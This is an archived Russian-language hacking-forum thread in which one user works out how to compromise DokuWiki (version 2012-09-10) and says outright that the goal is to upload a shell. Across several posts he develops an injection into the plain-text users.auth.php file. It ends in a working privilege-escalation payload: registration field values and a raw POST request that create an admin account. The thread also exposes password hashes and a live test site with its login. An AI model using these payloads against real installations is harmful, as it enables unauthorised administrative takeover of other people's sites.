PDA

Просмотр полной версии : [Обзор Уязвимости DokuWiki]


RedHazard
16.02.2019, 02:55
Интересный движок с которым сейчас пытаюсь как то разобраться.

Если кто то сталкивался подскажите как его приласкать что бы он поддался

Моя задача залить шелл или как то скомпромитировать систему

вот немного искомой инфы:

с сайта: https://www.exploit-db.com/

DokuWiki 2006-03-09b - 'dwpage.php' Remote Code Execution (https://www.exploit-db.com/exploits/2321)

DokuWiki 2006-03-09b - 'dwpage.php' System Disclosure (https://www.exploit-db.com/exploits/2322)

Dokuwiki 2009-02-14 - Local File Inclusion (https://www.exploit-db.com/exploits/8781)

Dokuwiki 2009-12-25 - Multiple Vulnerabilities (https://www.exploit-db.com/exploits/11141)

Dokuwiki 2009-02-14 - Temporary/Remote File Inclusion (https://www.exploit-db.com/exploits/8812)

и немножко вот тут:

https://www.cvedetails.com/vulnerability-list/vendor_id-9794/Dokuwiki.html

Вот одна из фич которые я пытался вкурить, но я видимо что то не то курю что автор этой статьи

https://github.com/splitbrain/dokuwiki/issues/2029

p.s может есть кто на одной волне с данным парнишей ?

Тот_самый_Щуп
23.02.2019, 22:11
Ну вообще, там RCE, при условии, что его включили. (опция теги php)

RedHazard
24.02.2019, 23:42
в общем еще идея есть

повышение прав через редактирование своего профиля.

регистрируем аккаунт.

переходим в мой профиль.

----------------------------

Логин [tester] Полное имя [вот тут тестить]

Эл. адрес [мыльцо@муйл.ру]

----------------------------

Пользователи сохраняются в файл: users.auth.php

.SpoilerTarget" type="button">Spoiler: users.auth.php


# users.auth.php
#
# Don't modify the lines above
#
# Userfile
#
# Format:
#
# login:passwordhash:Real Name:email:groups,comm a,seperated

tzwtf:$1$JikdmqPD$z4eF2afPNoDcehT7xyeGd1:Sanya:adm in@123.ru:admin,user
hui_r_n:$1$dQ8LHk6m$8IWlBUSZui49eujJSh8dt.:\r\n:12 3@mail.com:user
hui1_r_n:$1$kTqC7Mpq$s3ttMw/BDJGSRgytHUdvW0:123:nuce@ask-mail.com:user
tester:$1$iNHra1Rq$CwCdDlmb9J2QSLTtWIOnZ.:fullname :ggwp@m131.ru:com:user



.SpoilerTarget" type="button">Spoiler: Обновление профиля (редактирование)


/**
* Обновление профиля (ред актирование)
* Print the update profile form
*
* @author Christopher Smith
* @author Andreas Gohr
*/
functionhtml_updateprofile(){
global$lang;
global$conf;
global$INPUT;
global$INFO;
/** @var auth_basic $auth */
global$auth;

printp_locale_xhtml('updateprofile');

$fullname=$INPUT->post->str('fullname',$INFO['userinfo']['name'],true);
$email=$INPUT->post->str('email',$INFO['userinfo']['mail'],true);
print''.NL;
$form= newDoku_Form(array('id'=>'dw__register'));
$form->startFieldset($lang['profile']);
$form->addHidden('do','profile');
$form->addHidden('save','1');
$form->addElement(form_makeTextField('login',$_SERVER['REMOTE_USER'],$lang['user'],'','block', array('size'=>'50','disabled'=>'disabled')));
$attr= array('size'=>'50');
if (!$auth->canDo('modName'))$attr['disabled'] ='disabled';
$form->addElement(form_makeTextField('fullname',$fullname ,$lang['fullname'],'','block',$attr));
$attr= array('size'=>'50');
if (!$auth->canDo('modMail'))$attr['disabled'] ='disabled';
$form->addElement(form_makeTextField('email',$email,$lang['email'],'','block',$attr));
$form->addElement(form_makeTag('br'));
if ($auth->canDo('modPass')) {
$form->addElement(form_makePasswordField('newpass',$lang['newpass'],'','block', array('size'=>'50')));
$form->addElement(form_makePasswordField('passchk',$lang['passchk'],'','block', array('size'=>'50')));
}
if ($conf['profileconfirm']) {
$form->addElement(form_makeTag('br'));
$form->addElement(form_makePasswordField('oldpass',$lang['oldpass'],'','block', array('size'=>'50')));
}
$form->addElement(form_makeButton('submit','',$lang['btn_save']));
$form->addElement(form_makeButton('reset','',$lang['btn_reset']));
$form->endFieldset();
html_form('updateprofile',$form);
print''.NL;
}


идея сделать вот так, только от пользователя:

https://i.ibb.co/qskCYHg/photo-2019-02-24-17-59-37.jpg

RedHazard
24.02.2019, 23:45
Потестировать всю это херь можно на моем хосте

.SpoilerTarget" type="button">Spoiler: link
http://tzwtf.ru/dokuwiki/doku.php

логин: tester

пароль: 123

RedHazard
25.02.2019, 00:31
Фильтр символов:

из


~!@#%^*()_+-=[]\'|;/.,:


отфильтровало


% & ; , :

RedHazard
05.03.2019, 03:54
Баг авторизации выход из деректории:

версия dokuwiki 2012-09-10 "Adora Belle RC1"

authtype (http://www.dokuwiki.org/config:authtype) plain

Регистрация

Логин:[test../a]

Полное мия:[mail@email.ru (mailto:mail@email.ru)]

Эл. адрес:[a@a]

Результат в файле users.auth.php



# Format:
#
# login:passwordhash:Real Name:email:groups,comma,seperated

test:a:$1$9xrqaX5M$EYTB88lDR83zcl9nsxIMk0:mail@ema il.ru:a@a:user

то-есть мы добавили новую строку a

Поле a@aперенеслось в поле где прописаны админ группы

так же бага позволяет создавать одинаковых пользователей.

Уязвимость я не раскручивал дальше, но вполне реально зарегать себе админ юзера.

Кто хочет потестить вот вам мой сайт

http://tzwtf.ru/dokuwiki/doku.php?id=start

login:tester

pass:123

RedHazard
05.04.2019, 22:25
так же было обнаружена фича при редактировании профиля.

authtype (https://www.dokuwiki.org/config:authtype) plain

если в поле [полное имя] в начале строки вписать символ диеза он же хештег #

Все последующие значения обнуляются полное имя, емейл и группа пользователя


rorrim:$1$tlbqICWG$MAm9farsztiVYJd9M/pHs/:test:#a@a:user


так же этот символ проходит в поле эмейл и так же работает.

с помощью таких багов не исключена возможность повысить свои привилегии.

Если будет результат я опубликую его здесь

RedHazard
15.05.2019, 16:03
Все хочу забайпасить авторизацию на dokuwiki

И так опять фича с регистрацией!

POST /dokuwiki/doku.php?id=start&do=register HTTP/1.1

sectok=94c7d3ba9119dc710b222532a91b2951&do=register&save=1&login=tat;21232f297a57a5a743894a0e4a801fc3;fullnam e;mail;admin&fullname=test&email=a%40a

tat= это логин

fullname- это полное имя.

mail- почта.

admin- Это те самые заветные права которые дадут нам доступ к админке.

21232f297a57a5a743894a0e4a801fc3= PasswordHash (admin)

(который понимает декодер dokuwiki , он без спец символов типа $./ , ведь стандартный генератор паролей выдает типа таких хешей: $1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1 , и если прописать это в строку логина фильтр уберет символы )

и так если в поле логин вписать: tat;21232f297a57a5a743894a0e4a801fc3;fullname;mail ;admin

то в файле паролей мы получим

следующее:

tat:21232f297a57a5a743894a0e4a801fc3:fullname:mail :admin:$1$jqx36cSS$vP98kfpUXAQLfXBDn6OSZ/:test:a@a:user

а должно быть так:

tzwtf:$1$cMLNYuYN$OSIG3OWBI/RA2d.mFfJHr1:Sanya:admin@mail.ru:admin,user

Мы видим что права к группам идут через запятую , или с пробелом.

а в нашем случае двоеточии: .........name:mail:admin:$1$jqx36c.......

Если в ручную поставить пробел в файле то админка появляется, то-есть задача или поставить запятую или пробел, оба символа в поле логин фильтруются, хотя в поле fullnameвозможно поставить пробел

RedHazard
15.05.2019, 16:15
Так же эта фича позволяет создавать пользователей с одинаковыми никами.

Можно создать пользователя с ником admin, но прав не будет.

Но если отредактировать профиль , все дубликаты удаляются и остается один , таким методом могут поднасолить админам сообществ.

RedHazard
17.05.2019, 02:01
Это результат отправки вот такого запроса на регистрацию!



Поля fullmae , email
пропускают # диезу , а она как мы знаем комментирует все после себя в файле паролей.
Тем самым стирает значения.

RedHazard
16.01.2020, 21:19
Privilege Escalation

------ payload dokuwiki -----

в поле регистрации вводим:

login: ggwp/21232f297a57a5a743894a0e4a801fc3/asdasd

fullname: admin#admin

mail: aaa@aaa

после регистрации вводим

Логин: ggwp

пароль: admin

и получаем админ пользователя.

-----------------------------

версия: 2012-09-10 "Adora Belle RC1"

-----------------------------